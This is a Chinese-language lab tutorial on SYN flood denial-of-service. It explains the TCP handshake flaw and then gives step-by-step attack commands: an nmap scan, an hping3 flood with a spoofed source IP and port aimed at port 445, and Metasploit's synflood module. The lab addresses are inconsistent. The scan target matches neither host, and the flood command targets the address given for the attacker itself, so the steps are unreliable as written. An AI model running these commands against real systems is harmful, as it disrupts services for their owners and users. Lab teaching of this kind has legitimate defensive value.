SYN Flood攻击的原理:
SYN Flood利用TCP协议缺陷,它透过一定的操作破坏TCP三次握手建立正常连接,占用并耗费系统资源,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。
一个正常的TCP连接需要三次握手:
首先客户端发送一个包含SYN标志的数据包,表明客户机请求与服务器进行信息的交互。
其后服务器返回一个SYN/ACK的应答包,表示客户端的请求被接受。
最后客户端再返回一个确认包ACK,这样才完成TCP连接。
那么,在这个过程中是如何发生SYN Flood攻击呢?
通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,在进行第三次握手时,服务器等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,才将此条目从未连接队列删除。这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求不能进去以及被丢弃,目标系统运行缓慢,引起网络拥堵。
在同一个局域网下,两台虚拟主机之间进行SYN Flood攻击。
攻击者:Kali Linux。它的IP地址为10.2.93.191。被攻击者Windows 7 ,IP地址为10.2.93.160。
1、查看两台电脑IP地址,
kali linux : 运行输入:ifconfig
Windows 7:运行输入:ipconfig
2、kali 使用nmap,扫描对方电脑端口开放信息。
运行输入:nmap 192.168.109.133
选定一个开放的端口,如果是服务器,选定服务器端口的相应端口,如web服务器80端口,445端口等。这里我们选择445端口。
3、win 7启动任务管理器,观察任务管理的运行情况。CPU使用情况,内存使用情况。
4、kali运行输入:hping3 -h 查看相应的参数设置。无法使用请先安装hping
apt-get install hping3
5、运行输入: hping3 -q -n -a 2.2.2.2 -S -s 53 --keep -p 445 --flood 10.2.93.191(hping3 -q -n -a 伪造源IP -S -s 伪造源端口 --keep -p 目的端口 --flood 目的IP )
Ctrl+C停止攻击
6、目标电脑卡死,停止攻击后观察CPU使用情况
7、打开抓包wireshark软件抓取攻击流量,选择网卡。
8、使用Metasploit尝试进行SYN FIOOD攻击
输入命令: search auxiliary/dos/tcp/synflood 搜索SYN攻击参数
使用use命令加载攻击辅助模块:use auxiliary/dos/tcp/synflood 查看相关参数设置
设置相关参数。
使用run命令观察结果。